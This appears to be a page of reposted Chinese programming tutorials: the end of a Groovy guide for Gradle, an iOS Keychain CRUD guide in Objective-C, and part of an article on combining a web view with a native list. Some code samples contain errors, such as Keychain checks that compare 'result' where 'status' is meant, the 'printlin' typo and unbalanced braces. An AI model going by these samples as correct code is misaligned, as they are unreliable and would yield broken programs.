    def ism = targetFile.newInputStream()
    // do sth
    ism.close
    复制代码

    使用闭包操作 inputStream


    利用闭包来操作 inputStream,其功能更加强大,推荐使用这种写法,如下所示:


    targetFile.withInputStream{ ism ->
    // 操作 ism,不用 close。Groovy 会自动替你 close
    }
    复制代码

    2)、写文件


    关于写文件有两种常用的操作形式,即通过 withOutputStream/withInputStream 或 withReader/withWriter 的写法。示例代码如下所示:


    通过 withOutputStream/、withInputStream copy 文件


    def srcFile = new File(源文件名)
    def targetFile = new File(目标文件名) targetFile.withOutputStream{ os->
    srcFile.withInputStream{ ins->
    os << ins //利用 OutputStream 的<<操作符重载,完成从 inputstream 到 OutputStream //的输出
    }
    }
    复制代码

    通过 withReader、withWriter copy 文件


    def copy(String sourcePath, String destationPath) {
    try {
    //首先创建目标文件
    def desFile = new File(destationPath)
    if (!desFile.exists()) {
    desFile.createNewFile()
    }

    //开始copy
    new File(sourcePath).withReader { reader ->
    def lines = reader.readLines()
    desFile.withWriter { writer ->
    lines.each { line ->
    writer.append(line + "\r\n")
    }
    }
    }
    return true
    } catch (Exception e) {
    e.printStackTrace()
    }
    return false
    }
    复制代码

    此外,我们也可以通过 withObjectOutputStream/withObjectInputStream 来保存与读取 Object 对象。示例代码如下所示:


    保存对应的 Object 对象到文件中


    def saveObject(Object object, String path) {
    try {
    //首先创建目标文件
    def desFile = new File(path)
    if (!desFile.exists()) {
    desFile.createNewFile()
    }
    desFile.withObjectOutputStream { out ->
    out.writeObject(object)
    }
    return true
    } catch (Exception e) {
    }
    return false
    }
    复制代码

    从文件中读取 Object 对象


    def readObject(String path) {
    def obj = null
    try {
    def file = new File(path)
    if (file == null || !file.exists()) return null
    //从文件中读取对象
    file.withObjectInputStream { input ->
    obj = input.readObject()
    }
    } catch (Exception e) {

    }
    return obj
    }
    复制代码

    2、XML 文件操作


    1)、获取 XML 数据


    首先,我们定义一个包含 XML 数据的字符串,如下所示:


    final String xml = '''
    <response version-api="2.0">
    <value>
    <books id="1" classification="android">
    <book available="20" id="1">
    <title>疯狂Android讲义</title>
    <author id="1">李刚</author>
    </book>
    <book available="14" id="2">
    <title>第一行代码</title>
    <author id="2">郭林</author>
    </book>
    <book available="13" id="3">
    <title>Android开发艺术探索</title>
    <author id="3">任玉刚</author>
    </book>
    <book available="5" id="4">
    <title>Android源码设计模式</title>
    <author id="4">何红辉</author>
    </book>
    </books>
    <books id="2" classification="web">
    <book available="10" id="1">
    <title>Vue从入门到精通</title>
    <author id="4">李刚</author>
    </book>
    </books>
    </value>
    </response>
    '''
    复制代码

    然后,我们可以 使用 XmlSlurper 来解析此 xml 数据,代码如下所示:


    def xmlSluper = new XmlSlurper()
    def response = xmlSluper.parseText(xml)

    // 通过指定标签获取特定的属性值
    println response.value.books[0].book[0].title.text()
    println response.value.books[0].book[0].author.text()
    println response.value.books[1].book[0].@available

    def list = []
    response.value.books.each { books ->
    //下面开始对书结点进行遍历
    books.book.each { book ->
    def author = book.author.text()
    if (author.equals('李刚')) {
    list.add(book.title.text())
    }
    }
    }
    println list.toListString()
    复制代码

    2)、获取 XML 数据的两种遍历方式


    获取 XML 数据有两种遍历方式:深度遍历 XML 数据 与 广度遍历 XML 数据,下面我们看看它们各自的用法,如下所示:


    深度遍历 XML 数据


    def titles = response.depthFirst().findAll { book ->
    return book.author.text() == '李刚' ? true : false
    }
    println titles.toListString()
    复制代码

    广度遍历 XML 数据


    def name = response.value.books.children().findAll { node ->
    node.name() == 'book' && node.@id == '2'
    }.collect { node ->
    return node.title.text()
    }
    复制代码

    在实际使用中,我们可以 利用 XmlSlurper 求获取 AndroidManifest.xml 的版本号(versionName),代码如下所示:


    def androidManifest = new XmlSlurper().parse("AndroidManifest.xml") println androidManifest['@android:versionName']
    或者
    println androidManifest.@'android:versionName'
    复制代码

    3)、生成 XML 数据


    除了使用 XmlSlurper 解析 XML 数据之外,我们也可以 使用 xmlBuilder 来创建 XML 文件,如下代码所示:


    /**
    * 生成 xml 格式数据
    * <langs type='current' count='3' mainstream='true'>
    <language flavor='static' version='1.5'>Java</language>
    <language flavor='dynamic' version='1.6.0'>Groovy</language>
    <language flavor='dynamic' version='1.9'>JavaScript</language>
    </langs>
    */
    def sw = new StringWriter()
    // 用来生成 xml 数据的核心类
    def xmlBuilder = new MarkupBuilder(sw)
    // 根结点 langs 创建成功
    xmlBuilder.langs(type: 'current', count: '3',
    mainstream: 'true') {
    //第一个 language 结点
    language(flavor: 'static', version: '1.5') {
    age('16')
    }
    language(flavor: 'dynamic', version: '1.6') {
    age('10')
    }
    language(flavor: 'dynamic', version: '1.9', 'JavaScript')
    }

    // println sw

    def langs = new Langs()
    xmlBuilder.langs(type: langs.type, count: langs.count,
    mainstream: langs.mainstream) {
    //遍历所有的子结点
    langs.languages.each { lang ->
    language(flavor: lang.flavor,
    version: lang.version, lang.value)
    }
    }

    println sw

    // 对应 xml 中的 langs 结点
    class Langs {
    String type = 'current'
    int count = 3
    boolean mainstream = true
    def languages = [
    new Language(flavor: 'static',
    version: '1.5', value: 'Java'),
    new Language(flavor: 'dynamic',
    version: '1.3', value: 'Groovy'),
    new Language(flavor: 'dynamic',
    version: '1.6', value: 'JavaScript')
    ]
    }
    //对应xml中的languang结点
    class Language {
    String flavor
    String version
    String value
    }
    复制代码

    4)、Groovy 中的 json


    我们可以 使用 Groovy 中提供的 JsonSlurper 类去替代 Gson 解析网络响应,这样我们在写插件的时候可以避免引入 Gson 库,其示例代码如下所示:


    def reponse =
    getNetworkData(
    'http://yuexibo.top/yxbApp/course_detail.json')

    println reponse.data.head.name

    def getNetworkData(String url) {
    //发送http请求
    def connection = new URL(url).openConnection()
    connection.setRequestMethod('GET')
    connection.connect()
    def response = connection.content.text
    //将 json 转化为实体对象
    def jsonSluper = new JsonSlurper()
    return jsonSluper.parseText(response)
    }
    复制代码

    五、总结


    在这篇文章中,我们从以下 四个方面 学习了 Groovy 中的必备核心语法:



    • 1)、groovy 中的变量、字符串、循环等基本语法。

    • 2)、groovy 中的数据结构:数组、列表、映射、范围。

    • 3)、groovy 中的方法、类等面向对象、强大的运行时机制。

    • 4)、groovy 中对普通文件、XML、json 文件的处理。


    在后面我们自定义 Gradle 插件的时候需要使用到这些技巧,因此,掌握好 Groovy 的重要性不言而喻,只有扎实基础才能让我们走的更远。


    作者:jsonchao
    链接:https://juejin.cn/post/6844904128594853902
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
    收起阅读 »

    深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(2)

    三、Groovy 基础语法Groovy 的基础语法主要可以分为以下 四个部分:1)、Groovy 核心基础语法。2)、Groovy 闭包。3)、Groovy 数据结构。4)、Groovy 面向对象1、Groovy 核心基础语法Groovy 中的变量变...
    继续阅读 »

    三、Groovy 基础语法

    Groovy 的基础语法主要可以分为以下 四个部分:

    • 1)、Groovy 核心基础语法。
    • 2)、Groovy 闭包。
    • 3)、Groovy 数据结构。
    • 4)、Groovy 面向对象

    1、Groovy 核心基础语法

    Groovy 中的变量

    变量类型

    Groovy 中的类型同 Java 一样,也是分为如下 两种:

    • 1)、基本类型。
    • 2)、对象类型。

    但是,其实 Groovy 中并没有基本类型,Groovy 作为动态语言, 在它的世界中,所有事物都是对象,就如 Python、Kotlin 一样:所有的基本类型都是属于对象类型。为了验证这个 Case,我们可以新建一个 groovy 文件,创建一个 int 类型的变量并输出它,会得到输出结果为 'class java.lang.Integer',因此可以验证我们的想法是正确的。实际上,Groovy 的编译器会将所有的基本类型都包装成对象类型

    变量定义

    groovy 变量的定义与 Java 中的方式有比较大的差异,对于 groovy 来说,它有 两种定义方式,如下所示:

    • 1)、强类型定义方式:groovy 像 Java 一样,可以进行强类型的定义,比如上面直接定义的 int 类型的 x,这种方式就称为强类型定义方式,即在声明变量的时候定义它的类型。
    • 2)、弱类型定义方式:不需要像强类型定义方式一样需要提前指定类型,而是通过 def 关键字来定义我们任何的变量,因为编译器会根据值的类型来为它进行自动的赋值。

    那么,这两种方式应该分别在什么样的场景中使用呢?

    如果这个变量就是用于当前类或文件,而不会用于其它类或应用模块,那么,建议使用 def 类型,因为在这种场景下弱类型就足够了

    但是,如果你这个类或变量要用于其它模块的,建议不要使用 def,还是应该使用 Java 中的那种强类型定义方式,因为使用强类型的定义方式,它不能动态转换为其它类型,它能够保证外界传递进来的值一定是正确的。如果你这个变量要被外界使用,而你却使用了 def 类型来定义它,那外界需要传递给你什么才是正确的呢?这样会使调用方很疑惑。

    如果此时我们在后面的代码中改变上图中 x1 的值为 String 类型,那么 x1 又会被编译器推断为 String 类型,于是我们可以猜测到,其实使用 def 关键字定义出来的变量就是 Obejct 类型。

    Groovy 中的字符串

    Groovy 中的字符串与 Java 中的字符串有比较大的不同,所以这里我们需要着重了解一下。

    Groovy 中的字符串除了继承了 Java 中传统 String 的使用方式之前,还 新增 了一个 GString 类型,它的使用方式至少有七、八种,但是常用的有三种定义方式。此外,在 GString 中新增了一系列的操作符,这能够让我们对 String 类型的变量有 更便捷的操作。最后,在 GString 中还 新增 了一系列好用的 API,我们也需要着重学习一下。

    Groovy 中常用的三种字符串定义方式

    在 Groovy 中有 三种常用 的字符串定义方式,如下所示:

    • 1)、单引号 '' 定义的字符串
    • 2)、双引号 "" 定义的字符串
    • 3)、三引号 '""' 定义的字符串

    首先,需要说明的是,'不管是单引号、双引号还是三引号,它们的类型都是 java.lang.String'。

    那么,单引号与三引号的区别是什么呢?

    既生瑜何生亮,其实不然。当我们编写的单引号字符串中有转义字符的时候,需要添加 '',并且,当字符串需要具备多行格式的时候,强行将单引号字符串分成多行格式会变成由 '+' 号组成的字符串拼接格式

    那么,双引号定义的变量又与单引号、三引号有什么区别呢?

    双引号不同与单、三引号,它定义的是一个可扩展的变量。这里我们先看看两种双引号的使用方式,如下图所示:

    在上图中,第一个定义的 name 字符串就是常规的 String 类型的字符串,而下面定义的 sayHello 字符串就是可扩展的字符串,因为它里面使用了 '${name}' 的方式引用了 name 变量的内容。而且,从其最后的类型输出可以看到,可扩展的类型就是 'org.codehaus.groovy.runtime.GStringImpl' 类型的。

    需要注意的是,可扩展的字符串是可以扩展成为任意的表达式,例如数学运算,如上图中的 sum 变量。

    有了 Groovy 的这种可扩展的字符串,我们就可以 避免 Java 中字符串的拼接操作,提升 Java 程序运行时的性能

    那么,既然有 String 和 GString 两种类型的字符串,它们在相互赋值的场景下需要不需要先强转再赋值呢?

    不需要,编译器可以帮我们自动在 String 和 GString 之间相互转换,我们在编写的时候并不需要太过关注它们的区别

    2、Groovy 闭包(Closure)

    闭包的本质其实就是一个代码块,闭包的核心内容可以归结为如下三点:

    • 1)、闭包概念
      • 定义
      • 闭包的调用
    • 2)、闭包参数
      • 普通参数
      • 隐式参数
    • 3)、闭包返回值
      • 总是有返回值

    闭包的调用

    clouser.call()
    clouser()
    def xxx = { paramters -> code }
    def xxx = { 纯 code }
    复制

    从 C/C++ 语言的角度看,闭包和函数指针很像,闭包可以通过 .call 方法来调用,也可以直接调用其构造函数,代码如下所示:

    闭包对象.call(参数)
    闭包对象(参数)
    复制代码

    如果闭包没定义参数的话,则隐含有一个参数,这个参数名字叫 it,和 this 的作用类似。it 代表闭包的参数。表示闭包中没有参数的示例代码:

    def noParamClosure = { -> true }
    复制代

    注意点:省略圆括号

    函数最后一个参数都是一个闭包,类似于回调函数的用法,代码如下所示:

    task JsonChao {
    doLast ({
    println "love is peace~"
    }
    })

    // 似乎好像doLast会立即执行一样
    task JsonChao {
    doLast {
    println "love is peace~"
    }
    }
    复制代码

    闭包的用法

    闭包的常见用法有如下 四种:

    • 1)、与基本类型的结合使用。
    • 2)、与 String 类的结合使用。
    • 3)、与数据结构的结合使用。
    • 4)、与文件等结合使用。

    闭包进阶

    • 1)、闭包的关键变量
      • this
      • owner
      • delegate
    • 2)、闭包委托策略

    闭包的关键变量

    this 与 owner、delegate

    其差异代码如下代码所示:

    def scrpitClouser = {
    // 代表闭包定义处的类
    printlin "scriptClouser this:" + this
    // 代表闭包定义处的类或者对象
    printlin "scriptClouser this:" + owner
    // 代表任意对象,默认与 ownner 一致
    printlin "scriptClouser this:" + delegate
    }

    // 输出都是 scrpitClouse 对象
    scrpitClouser.call()

    def nestClouser = {
    def innnerClouser = {
    // 代表闭包定义处的类
    printlin "scriptClouser this:" + this
    // 代表闭包定义处的类或者对象
    printlin "scriptClouser this:" + owner
    // 代表任意对象,默认与 ownner 一直
    printlin "scriptClouser this:" + delegate
    }
    innnerClouser.call()
    }

    // this 输出的是 nestClouser 对象,而 owner 与 delegate 输出的都是 innnerClouser 对象
    nestClouser.call()
    复制

    可以看到,如果我们直接在类、方法、变量中定义一个闭包,那么这三种关键变量的值都是一样的,但是,如果我们在闭包中又嵌套了一个闭包,那么,this 与 owner、delegate 的值就不再一样了。换言之,this 还会指向我们闭包定义处的类或者实例本身,而 owner、delegate 则会指向离它最近的那个闭包对象

    delegate 与 this、owner 的差异

    其差异代码如下代码所示:

    def nestClouser = {
    def innnerClouser = {
    // 代表闭包定义处的类
    printlin "scriptClouser this:" + this
    // 代表闭包定义处的类或者对象
    printlin "scriptClouser this:" + owner
    // 代表任意对象,默认与 ownner 一致
    printlin "scriptClouser this:" + delegate
    }

    // 修改默认的 delegate
    innnerClouser.delegate = p
    innnerClouser.call()
    }

    nestClouser.call()
    复制代

    可以看到,delegate 的值是可以修改的,并且仅仅当我们修改 delegate 的值时,delegate 的值才会与 ownner 的值不一样

    闭包的委托策略

    其示例代码如下所示:

    def stu = new Student()
    def tea = new Teacher()
    stu.pretty.delegate = tea
    // 要想使 pretty 闭包的 delegate 修改生效,必须选择其委托策略为 Closure.DELEGATE_ONLY,默认是 Closure.OWNER_FIRST。
    stu.pretty.resolveStrategy = Closure.DELEGATE_ONLY
    println stu.toString()
    复制

    需要注意的是,要想使上述 pretty 闭包的 delegate 修改生效,必须选择其委托策略为 Closure.DELEGATE_ONLY,默认是 Closure.OWNER_FIRST 的。

    3、Groovy 数据结构

    Groovy 常用的数据结构有如下 四种:

    • 1)、数组
    • 2)、List
    • 3)、Map
    • 4)、Range

    数组的使用和 Java 语言类似,最大的区别可能就是定义方式的扩展,如下代码所示:

    // 数组定义
    def array = [1, 2, 3, 4, 5] as int[]
    int[] array2 = [1, 2, 3, 4, 5]
    复制代

    下面,我们看看其它三种数据结构。

    1、List

    即链表,其底层对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类,List 变量由[]定义,其元素可以是任何对象

    链表中的元素可以通过索引存取,而且 不用担心索引越界。如果索引超过当前链表长度,List 会自动往该索引添加元素。下面,我们看看 List 最常使用的几个操作。

    1)、排序

    def test = [100, "hello", true]
    // 左移位表示向List中添加新元素
    test << 200
    // list 定义
    def list = [1, 2, 3, 4, 5]
    // 排序
    list.sort()
    // 使用自己的排序规则
    sortList.sort { a, b ->
    a == b ?0 :
    Math.abs(a) < Math.abs(b) ? 1 : -1
    }
    复制

    2)、添加

    // 添加
    list.add(6)
    list.leftShift(7)
    list << 8
    复制代码

    3)、删除

    // 删除
    list.remove(7)
    list.removeAt(7)
    list.removeElement(6)
    list.removeAll { return it % 2 == 0 }
    复制代码

    4)、查找

    // 查找
    int result = findList.find { return it % 2 == 0 }
    def result2 = findList.findAll { return it % 2 != 0 }
    def result3 = findList.any { return it % 2 != 0 }
    def result4 = findList.every { return it % 2 == 0 }

    5)、获取最小值、最大值

    // 最小值、最大值
    list.min()
    list.max(return Math.abs(it))
    复制代码

    6)、统计满足条件的数量

    // 统计满足条件的数量
    def num = findList.count { return it >= 2 }
    复制代

    Map

    表示键-值表,其 底层对应 Java 中的 LinkedHashMap

    Map 变量由[:]定义,冒号左边是 key,右边是 Value。key 必须是字符串,value 可以是任何对象。另外,key 可以用 '' 或 "" 包起来,也可以不用引号包起来。下面,我们看看 Map 最常使用的几个操作。

    1)、存取

    其示例代码如下所示:

    aMap.keyName
    aMap['keyName']
    aMap.anotherkey = "i am map"
    aMap.anotherkey = [a: 1, b: 2]
    复制代码

    2)、each 方法

    如果我们传递的闭包是一个参数,那么它就把 entry 作为参数。如果我们传递的闭包是 2 个参数,那么它就把 key 和 value 作为参数。

    def result = ""
    [a:1, b:2].each { key, value ->
    result += "$key$value"
    }

    assert result == "a1b2"

    def socre = ""
    [a:1, b:2].each { entry ->
    result += entry
    }

    assert result == "a=1b=2"

    3)、eachWithIndex 方法

    如果闭包采用两个参数,则将传递 Map.Entry 和项目的索引(从零开始的计数器);否则,如果闭包采用三个参数,则将传递键,值和索引。

    def result = ""
    [a:1, b:3].eachWithIndex { key, value, index -> result += "$index($key$value)" }
    assert result == "0(a1)1(b3)"

    def result = ""
    [a:1, b:3].eachWithIndex { entry, index -> result += "$index($entry)" }
    assert result == "0(a=1)1(b=3)"

    4)、groupBy 方法

    按照闭包的条件进行分组,代码如下所示:

    def group = students.groupBy { def student ->
    return student.value.score >= 60 ? '及格' : '不及格'
    }
    复制代

    5)、findAll 方法

    它有两个参数,findAll 会将 Key 和 Value 分别传进 去。并且,如果 Closure 返回 true,表示该元素是自己想要的,如果返回 false 则表示该元素不是自己要找的。

    Range

    表示范围,它其实是 List 的一种拓展。其由 begin 值 + 两个点 + end 值表示。如果不想包含最后一个元素,则 begin 值 + 两个点 + < + end 表示。我们可以通过 aRange.from 与 aRange.to 来获对应的边界元素

    如果需要了解更多的数据结构操作方法,我们可以直接查 Groovy API 详细文档 即可。

    4、Groovy 面向对象

    如果不声明 public/private 等访问权限的话,Groovy 中类及其变量默认都是 public 的

    1)、元编程(Groovy 运行时)

    Groovy 运行时的逻辑处理流程图如下所示:

    为了更好的讲解元编程的用法,我们先创建一个 Person 类并调用它的 cry 方法,代码如下所示:

    // 第一个 groovy 文件中
    def person = new Person(name: 'Qndroid', age: 26)
    println person.cry()

    // 第二个 groovy 文件中
    class Person implements Serializable {

    String name

    Integer age

    def increaseAge(Integer years) {
    this.age += years
    }

    /**
    * 一个方法找不到时,调用它代替
    * @param name
    * @param args
    * @return
    */
    def invokeMethod(String name, Object args) {

    return "the method is ${name}, the params is ${args}"
    }


    def methodMissing(String name, Object args) {

    return "the method ${name} is missing"
    }
    }
    复制

    为了实现元编程,我们需要使用 metaClass,具体的使用示例如下所示:

    ExpandoMetaClass.enableGlobally()
    //为类动态的添加一个属性
    Person.metaClass.sex = 'male'
    def person = new Person(name: 'Qndroid', age: 26)
    println person.sex
    person.sex = 'female'
    println "the new sex is:" + person.sex
    //为类动态的添加方法
    Person.metaClass.sexUpperCase = { -> sex.toUpperCase() }
    def person2 = new Person(name: 'Qndroid', age: 26)
    println person2.sexUpperCase()
    //为类动态的添加静态方法
    Person.metaClass.static.createPerson = {
    String name, int age -> new Person(name: name, age: age)
    }
    def person3 = Person.createPerson('renzhiqiang', 26)
    println person3.name + " and " + person3.age

    需要注意的是通过类的 metaClass 来添加元素的这种方式每次使用时都需要重新添加,幸运的是,我们可以在注入前调用全局生效的处理,代码如下所示:

    ExpandoMetaClass.enableGlobally()
    // 在应用程序初始化的时候我们可以为第三方类添加方法
    Person.metaClass.static.createPerson = { String name,
    int age ->
    new Person(name: name, age: age)
    }
    复制代码

    2)、脚本中的变量和作用域

    对于每一个 Groovy 脚本来说,它都会生成一个 static void main 函数,main 函数中会调用一个 run 函数,脚本中的所有代码则包含在 run 函数之中。我们可以通过如下的 groovyc 命令用于将编译得到的 class 文件拷贝到 classes 文件夹下:

    // groovyc 是 groovy 的编译命令,-d classes 用于将编译得到的 class 文件拷贝到 classes 文件夹 下
    groovyc -d classes test.groovy
    复制代码

    当我们在 Groovy 脚本中定义一个变量时,由于它实际上是在 run 函数中创建的,所以脚本中的其它方法或其他脚本是无法访问它的。这个时候,我们需要使用 @Field 将当前变量标记为成员变量,其示例代码如下所示:

    import groovy.transform.Field; 

    @Field author = JsonCh


    作者:jsonchao
    链接:https://juejin.cn/post/6844904128594853902
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

    收起阅读 »

    【iOS】Keychain 钥匙串

    钥匙串,实际上是一个加密后的数据库,如下图所示。即使吧App删除,钥匙串里面的数据也不会丢失。数据都是以 Item 的形式来存储的,每个 Item 由一个加密后的 Data 数据,还有一系列用来描述该 Item 属性的 Attributes 组成。由于是数据库...
    继续阅读 »

    钥匙串,实际上是一个加密后的数据库,如下图所示。
    即使吧App删除,钥匙串里面的数据也不会丢失。


    数据都是以 Item 的形式来存储的,每个 Item 由一个加密后的 Data 数据,还有一系列用来描述该 Item 属性的 Attributes 组成。
    由于是数据库,关键方法只有四种,增删改查,对应的是

    SecItemAdd
    SecItemDelete
    SecItemUpdate
    SecItemCopyMatching
    下面简单讲述一下使用方法

    SecItemAdd

    CFTypeRef result;
    NSDictionary *query = @{
    // 一个典型的新增方法的参数,包含三个部分
    // 1.kSecClass key,它用来指定新增对象的类型
    (NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
    // 2.若干项属性 key,例如 kSecAttrAccount,kSecAttrLabel 等,用来描述新增对象的属性
    (NSString *)kSecAttrAccount: @"uniqueID",
    // 3.kSecValueData key,用来设置新增对象保存的数据
    (NSString *)kSecValueData: [@"token" dataUsingEncoding:NSUTF8StringEncoding],
    // 可选
    // 如果需要获取新增的 Item 对象的属性,需要如下属性,
    (NSString *)kSecReturnData: (NSNumber *)kCFBooleanTrue,
    (NSString *)kSecReturnAttributes: (NSNumber *)kCFBooleanTrue,
    };
    OSStatus status = SecItemAdd((CFDictionaryRef)query, &result);
    if (result == errSecSuccess) {
    // 新增成功
    NSDictionary *itemInfo = (__bridge NSDictionary *)result;
    NSLog(@"info: %@", itemInfo);
    } else {
    // 其他错误
    }

    result类型判断方式


    SecItemDelete

    NSDictionary *query = @{
    // 一个典型的删除方法的参数,包含两个部分
    // 1、kSecClass key,它用来指定删除对象的类型,必填。
    (NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
    // 2、若干项属性 key,可选。
    // 例如 kSecAttrAccount,kSecAttrLabel 等,用来设置删除对象的范围
    // 默认情况下,符合条件的全部 Item 都会被删除
    (NSString *)kSecAttrAccount: @"uniqueID",
    };
    OSStatus status = SecItemDelete((CFDictionaryRef)query);
    if (result == errSecSuccess) {
    // 删除成功
    } else {
    // 其他错误
    }

    SecItemUpdate

    // 1、找出需要更新属性的 Item
    // 参数格式与 SecItemCopyMatching 方法中的参数格式相同
    NSDictionary *query = @{
    (NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
    (NSString *)kSecAttrAccount: @"uniqueID",
    };

    // 2、需要更新的属性
    // 若干项属性 key
    NSDictionary *update = @{
    (NSString *)kSecAttrAccount: @"another uniqueID",
    (NSString *)kSecValueData: @"another value",
    };

    OSStatus status = SecItemUpdate((CFDictionaryRef)query, (CFDictionaryRef)update);

    if (result == errSecSuccess) {
    // 更新成功
    } else {
    // 其他错误
    }

    SecItemDelete

    NSDictionary *query = @{
    // 一个典型的删除方法的参数,包含两个部分
    // 1、kSecClass key,它用来指定删除对象的类型,必填。
    (NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
    // 2、若干项属性 key,可选。
    // 例如 kSecAttrAccount,kSecAttrLabel 等,用来设置删除对象的范围
    // 默认情况下,符合条件的全部 Item 都会被删除
    (NSString *)kSecAttrAccount: @"uniqueID",
    };
    OSStatus status = SecItemDelete((CFDictionaryRef)query);
    if (result == errSecSuccess) {
    // 删除成功
    } else {
    // 其他错误
    }

    SecItemCopyMatching

    CFTypeRef result;
    NSDictionary *query = @{
    // 一个典型的搜索方法的参数,包含三个部分
    // 1、kSecClass key(必填),它用来指定搜索对象的类型
    (NSString *)kSecClass: (NSString *)kSecClassGenericPassword,
    // 2、若干项属性 key(可选),例如 kSecAttrAccount,kSecAttrLabel 等,用来描述搜索对象的属性
    (NSString *)kSecAttrAccount: @"uniqueID",
    // 3、搜索属性(可选)
    // 例如 kSecMatchLimit(搜索一个还是多个,影响返回结果类型)
    // kSecMatchCaseInsensitive 是否大小写敏感等
    (NSString *)kSecMatchLimit: (NSString *)kSecMatchLimitAll,
    (NSString *) kSecMatchCaseInsensitive: (NSNumber *) kCFBooleanTrue,
    // (可选)如果需要获取新增的 Item 对象的属性,需要如下属性,
    (NSString *)kSecReturnData: (NSNumber *)kCFBooleanTrue,
    (NSString *)kSecReturnAttributes: (NSNumber *)kCFBooleanTrue,
    };
    OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &result);
    if (result == errSecSuccess) {
    // 新增成功
    NSDictionary *itemInfo = (__bridge NSDictionary *)result;
    NSLog(@"info: %@", itemInfo);
    } else {
    // 其他错误
    }

    result类型判断方式


    链接:https://www.jianshu.com/p/8f8db1ff024d


    收起阅读 »

    iOS 网页和原生列表混合布局开发(文章+评论)

    我们总会遇见特别不适合使用原生开发的页面,比如一个文章详情页,上面是文章下面是评论,就比如现在用的简书的手机版这样,那么这种需求应该怎么做呢?最好的方法当然是整个页面都是用H5开发,哈哈哈;当然下面评论有时候会有很多交互导致得用原生控件开发,那这里就面临着严峻...
    继续阅读 »

    我们总会遇见特别不适合使用原生开发的页面,比如一个文章详情页,上面是文章下面是评论,就比如现在用的简书的手机版这样,那么这种需求应该怎么做呢?
    最好的方法当然是整个页面都是用H5开发,哈哈哈;当然下面评论有时候会有很多交互导致得用原生控件开发,那这里就面临着严峻的问题了,上面是网页可以滑动,下面是评论最好是用列表做,具体怎么组合起来就值得我们说道说道了,当然方法有很多种,我这里讲解一种我觉得各方面都不错的。

    ps:问题总结起来还是两个滑动视图上下滑动问题所以用我之前讲解的多个滑动视图冲突解决https://www.jianshu.com/p/cfe517ce437b 也可以解决不过这样使用H5那面配合的地方比较多。这个不多说,下面介绍我们今天要说的。

    这个方案的整体思路:把web和table同时加在一个底层ScrollView上面,滑动底层ScrollView同时不断控制web和table的偏移量位置,使页面看起来是两个滑动视图连在一起的。
    整体结构如图


    一、视图介绍

    黄色的是底层ScrollView,青色的一个加在底层ScrollView上的view(这里我们叫它contentView),然后正加载简书网页的是web,红色部分是table。web和table再加contentView上,这样我们控制整体位置的时候使用contentView就行;

    二、视图之间的高度关系:

    web和table的最大高度都是底层ScrollView的高度,这样做可以正好让其中一个充满整个底层ScrollView。
    contentView的高度是web和table高度的和(毕竟就是为了放他们两)。
    底层ScrollView的可滑动高度这里设定成web和table可滑动高度的总和,方便滑动处理。
    ps:具体代码在后面。

    三、滑动处理思路

    滑动都靠底层ScrollView,禁用web和table的滑动,上面说了底层ScrollView的可滑动高度是web和table的总和所以进度条是正常的。
    然后在滑动的同时不断调整contentView的位置,web和table的偏移量,使页面效果看起来符合预期。

    四、滑动处理具体操作,整个滑动可以分成五阶段。ps:offsety 底层ScrollView的偏移量
    1.offsety<=0,不用过多操作正常滑动
    2.web内部可以滑动。控制contentView悬浮,使web在屏幕可视区域。同时修改web的偏移量。
    3.web滑动到头。保持contentView的位置和web的偏移量,使table滑动到屏幕可视区域
    4.table内部可以滑动。控制contentView悬浮,使table在屏幕可视区域。同时修改table的偏移量。
    5.table滑动到头。保持contentView的位置和table的偏移量,使页面滑动到底部
    五、具体代码
    1.因为web和table都是随内容变高的,这里选择通过监听两者高度变化,同时刷新各个控件的高度,对应第二步骤

    //添加监听
    [self.webView addObserver:self forKeyPath:@"scrollView.contentSize" options:NSKeyValueObservingOptionNew context:nil];
    [self.collectionView addObserver:self forKeyPath:@"contentSize" options:NSKeyValueObservingOptionNew context:nil];
    //刷新各个控件高度
    - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
    if (object == _webView) {
    if ([keyPath isEqualToString:@"scrollView.contentSize"]) {
    [self updateContainerScrollViewHeight];
    }
    }else if(object == _collectionView) {
    if ([keyPath isEqualToString:@"contentSize"]) {
    [self updateContainerScrollViewHeight];
    }
    }
    }

    - (void)updateContainerScrollViewHeight{
    CGFloat webViewContentHeight = self.webView.scrollView.contentSize.height;
    CGFloat collectionContentHeight = self.collectionView.contentSize.height;

    if (webViewContentHeight == _lastWebViewContentHeight && collectionContentHeight == _lastCollectionContentHeight) {
    return;
    }

    _lastWebViewContentHeight = webViewContentHeight;
    _lastCollectionContentHeight = collectionContentHeight;

    self.containerScrollView.contentSize = CGSizeMake(self.view.width, webViewContentHeight + collectionContentHeight);

    CGFloat webViewHeight = (webViewContentHeight < _contentHeight) ?webViewContentHeight :_contentHeight;
    CGFloat collectionHeight = collectionContentHeight < _contentHeight ?collectionContentHeight :_contentHeight;
    self.webView.height = webViewHeight <= 0.1 ?0.1 :webViewHeight;
    self.contentView.height = webViewHeight + collectionHeight;
    self.collectionView.height = collectionHeight;
    self.collectionView.top = self.webView.bottom;

    [self scrollViewDidScroll:self.containerScrollView];
    }

    2.具体滑动处理代码:

    - (void)scrollViewDidScroll:(UIScrollView *)scrollView{
    if (_containerScrollView != scrollView) {
    return;
    }

    CGFloat offsetY = scrollView.contentOffset.y;

    CGFloat webViewHeight = self.webView.height;
    CGFloat collectionHeight = self.collectionView.height;

    CGFloat webViewContentHeight = self.webView.scrollView.contentSize.height;
    CGFloat collectionContentHeight = self.collectionView.contentSize.height;
    if (offsetY <= 0) {
    self.contentView.top = 0;
    self.webView.scrollView.contentOffset = CGPointZero;
    self.collectionView.contentOffset = CGPointZero;
    }else if(offsetY < webViewContentHeight - webViewHeight){
    self.contentView.top = offsetY;
    self.webView.scrollView.contentOffset = CGPointMake(0, offsetY);
    self.collectionView.contentOffset = CGPointZero;
    }else if(offsetY < webViewContentHeight){
    self.contentView.top = webViewContentHeight - webViewHeight;
    self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
    self.collectionView.contentOffset = CGPointZero;
